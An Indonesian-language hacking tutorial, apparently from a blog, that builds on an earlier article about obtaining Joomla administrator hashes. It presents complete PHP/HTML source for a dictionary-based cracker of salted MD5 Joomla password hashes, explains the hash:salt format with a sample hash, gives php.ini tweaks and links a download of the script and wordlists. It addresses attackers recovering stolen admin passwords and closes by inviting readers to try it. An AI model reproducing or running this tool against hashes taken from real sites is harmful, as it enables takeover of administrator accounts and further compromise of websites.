|
Apa yang akan penulis jelaskan disini, begitu juga dengan apa yang
telah penulis jelaskan pada tutorial sebelum-sebelumnya, mengenai
hacking tentunya, di ibaratkan seperti pisau yang memiliki 2 sisi
tajam, di satu sisi seorang admin web dapat menjaga ketat sitenya
dengan aman, namun patut diketahui pula tidak ada sistem yang memiliki
keamanan 100%, selalu saja ada bolong yang masih dapat di eksploitasi,
tapi setidaknya dapat meminimalisir serangan yang ada, dan di sisi lain
yang akan penulis terangkan nanti tentunya cenderung digunakan untuk
kegiatan vandalisme/merusak oleh beberapa pihak. Ya, tidak heran jika
teori tesis dan anti tesis kerapkali hadir dalam dunia perhackingan
ini. Di satu sisi membangun tapi di sisi lain menghancurkan. Lantas
yang harus di lakukan sekarang adalah, tetap waspada pada security risk
yang ada, dan ketahuilah tamu tak diundang selalu menyempatkan waktunya
untuk hadir memonitoring site anda, jika anda melakukan sedikit saja
salah langkah akibatnya cukup fatal.
Waha... sepertinya intro tutorial harus
dipisahkan sendiri dalam tutorial yang berbeda, jari penulis begitu
asik menari-nari di atas tuts keyboard sampai-sampai lupa pada pokok
pembahasan. :D.
Ya, berdasarkan artikel sebelumnya, betapa
mudahnya seorang attacker mendapatkan username dan password sang
administrator pada content management system seperti joomla, tapi masih
terdapat satu masalah, dimana seorang attacker masih belum dapat
melakukan eksploitasi lebih lanjut, dikarenakan password yang
didapatkan itu masih dalam bentuk password yang terenkripsi, sehingga
butuh perlakuan khusus lebih lanjut untuk mendapatkan password yang
sesungguhnya. Di sinilah penulis akan mencoba menjelaskan sebuah konsep
sederhana bagaimana mendapatkan suatu password asli yang terenkripsi,
namun penulis hanya membatasi cracking password pada satu jenis hash
saja, yaitu joomla hash password. Penjelasan yang akan penulis lakukan
bukanlah mencoba membuat algoritma dekripsi password tetapi hanyalah
penggunaan metode dictionary file, dimana untuk mendapatkan password
asli cukup dilakukan pencocokan password dengan kamus data yang ada
sehingga menghasilkan password yang sebenarnya. :D. Namun setiap
aplikasi selalu saja memiliki kekurangan, penulis tidak menafikan hal
itu. Karena kesempurnaan hanyalah milik sang Pencipta. ;) Kekurangannya
adalah resource memori yang di butuhkan untuk metode seperti ini
cenderung lebih besar dari ukuran biasanya.
Berikut adalah source code lengkap 'simple joomla password cracker' :
-----------------------// cut here
<HTML>
<HEAD>
<BASEFONT SIZE=3>
<TITLE>::: Joomla Password Cracker :::</TITLE>
</HEAD>
<BODY BGCOLOR=#000000 vlink=#0000FF>
<center>
<p align="center"><font face="Verdana" size="1"><BR>
</B><BR>
</font></p>
<p align="center"> </p>
<p align="center"> </p>
<TABLE BORDER=0 WIDTH=500 CELLPADDING=3 CELLSPACING=0>
<tr><td> <p align="center" style="margin-top:
0"><font color="#FFFFFF" face="Verdana"
size="2"><u><font size="4">Simple</font></u>
</font><font size="4"><u><font face="Verdana"
color="#00FF00"><strong>Joomla</strong></font>
<font color="#FFFFFF" face="Verdana">Password
Cracker</font></u></font><font
size="2"><font color="#FFFFFF" face="Verdana">
<font color="#00FF00">Developed by<strong> :
ilmuwebsite.com
</strong></font></font></font></p>
</td>
</tr>
</table>
<!-- Demonstration -->
<BODY>
<center>
<form action=index.php method="POST"><p>
<P>
<b>
<font size="2" face="Verdana"
color="#FFFFFF"><u>Masukkan
</u></font></b><u><font size="2"
face="Verdana" color="#FFFFFF">password hashnya disini
:</font></u><font size="2" face="Verdana"
color="#FFFFFF"></font><font color="#00FF00" size="1"
face="Verdana"><br>
<BR>
<input type="text" name="hash" size=55 style="font-family: Verdana;
font-size: 8pt; color: #00FF00; border: 1px solid #00FF00;
background-color: #000000">
<input type="submit" name="send" value="Cari !!!"
style="font-family: Verdana; font-size: 8pt; color: #00FF00; border:
1px solid #00FF00; background-color: #000000">
</font>
<P>
</form>
<?php
$hashes=array();
$i=0;
$parts=explode(":",$_POST['hash']);
$hashes[$i][0]=$parts[0];
$hashes[$i][1]=$parts[1];
if (ISSET($_POST['hash']))
{
$str = " ";
echo "<font size=2 face=Verdana color=#FFFFFF><u>Started:
</u>";
echo date("F j, Y, g:i:s a");
$lines = file('kamus2.txt');
foreach ($lines as $line_num => $line)
{
check($line);
}
$lines = file('kamus1.txt');
foreach ($lines as $line_num => $line)
{
check($line);
}
echo "<br><font size=2 face=Verdana
color=#FFFFFF><u>Finished : </u>";
echo date("F j, Y, g:i:s a");
}
function check($a)
{
global $i;
$a=rtrim($a) ;
for($x=0;$x<=$i;$x++)
{
global $hashes;
if (md5($a.$hashes[$x][1]) === $hashes[$x][0])
{
echo "<font size=2 face=Verdana
color=#FFFFFF><br><br><u>The password is :
</u></font><font size=2 face=Verdana
color=#00FF00><h1>$a</h1></font>";
echo "<u>Ended: </u>";
echo date("F j, Y, g:i:s a");
}
}
}
?>
<font size="2" face="Verdana"
color="#FFFFFF"><u><br><br>Tolong di kembangkan ya
?! :D </u></font>
</center>
</body></html>
-----------------------// cut here
Untuk menjalankan script ini di localhost anda perlu merubah
konfigurasi php.ini, yaitu dengan mengganti baris ini :
memory_limit = 32M ;
menjadi > 32, penulis menggantinya menjadi :
memory_limit = 256M ;
Ya, sebelum berlanjut, penulis akan membahas
struktur password joomla yang terenkripsi terlebih dahulu, enkripsi
password joomla biasanya terdiri dari hash dan salt. Standar
enkripsi joomla biasanya berbentuk seperti ini :
b51498faae03f7cf533e3ed97fc00116:9VrQpQzdNQHhtieK
Hashnya itu terdapat pada bagian yang pertama yaitu
b51498faae03f7cf533e3ed97fc00116, dan saltnya itu ada di bagian akhir
9VrQpQzdNQHhtieK, keduanya terlihat di pisahkan dengan titik dua ":".
Salt bagi seorang attacker berfungsi untuk membantu dalam pencarian
password sesungguhnya.
Yang ditemukan disini adalah jika password berbentuk
plain text di gabung dengan saltnya maka akan menghasilkan hash
password joomla. Dengan kata lain jika : x + salt = hash joomla.
Sehingga jika di implementasikan melalui enkripsi md5 :
md5(x + salt) = hash
maka :
md5(x + 9VrQpQzdNQHhtieK) = b51498faae03f7cf533e3ed97fc00116
berapakah x ? ( pak Mamat guru matematika di SMAN 4 Bogor kayanya tau.
:D huehuehuehehe... )
Ya seperti pada baris kalimat ini :
...
if (md5($a.$hashes[$x][1]) === $hashes[$x][0])
{
echo "<font size=2 face=Verdana
color=#FFFFFF><br><br><u>The password is :
</u></font><font size=2 face=Verdana
color=#00FF00><h1>$a</h1></font>";
...
Dan hasilnya adalah ...
:D~~
Penulis yakin anda cukup familiar dengan source di
atasnya. Dan algoritmanya pun cukup mudah. Script lengkap dan kamus
passwordnya dapat di download di sini ...
href="http://www.networkandgame.890m.com/ilmuwebsite/hack/jomla2/brute.zip">http://www.networkandgame.890m.com/ilmuwebsite/hack/jomla2/brute.zip
Selamat mencoba. Selamat mengembangkan ! :D
Greetz for : newhack|staff : fl3xu5, opt1lc, sakitjiwa, k1tk4t,
b_scorpio, peterpanz, abuzahra, phii_, nazwa, jojo, ivan, fadli,
safril, dr.emi, husniearif, [H], dan ilmuwebsite community.
kirim ke teman | versi cetak
|